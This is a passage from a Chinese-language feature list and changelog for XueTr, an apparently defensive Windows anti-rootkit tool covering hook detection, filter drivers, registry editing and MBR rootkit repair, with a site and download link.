5.端口信息查看,目前不支持2000系統
6.查看消息鉤子
7.內核模塊的iat、eat、inline hook、patches檢測和恢復
8.磁盤、卷、鍵盤、網絡層等過濾驅動檢測,並支持刪除
9.註冊表編輯
10.進程iat、eat、inline hook、patches檢測和恢復
11.文件系統查看,支持基本的文件操作
12.查看(編輯)IE插件、SPI、啟動項、服務、Host文件、映像劫持、文件關聯、系統防火牆規則
13.ObjectType Hook檢測和恢復

14.DPC定時器檢測和刪除
15.WorkerThread枚舉
16.MBR Rootkit檢測及其修復

本版更新列表:
         1.修正Win7 SP1端口枚舉的Bug
         2.處理文件畸形路徑(包含對./..目錄以及RLO路徑的處理)
         3.修正NTFS流文件枚舉上的Bug(請開啟物理磁盤分析功能)
         4.修正驅動上的Bug(感謝dl123100、KiDebug等人直接或者間接意見)
         5.修改了卸載驅動時的提示,卸載驅動是很危險的,請不要輕易嘗試

官方網站:
http://www.xuetr.com/
下載:
http://filemarkets.com/file/newbing/03448da7/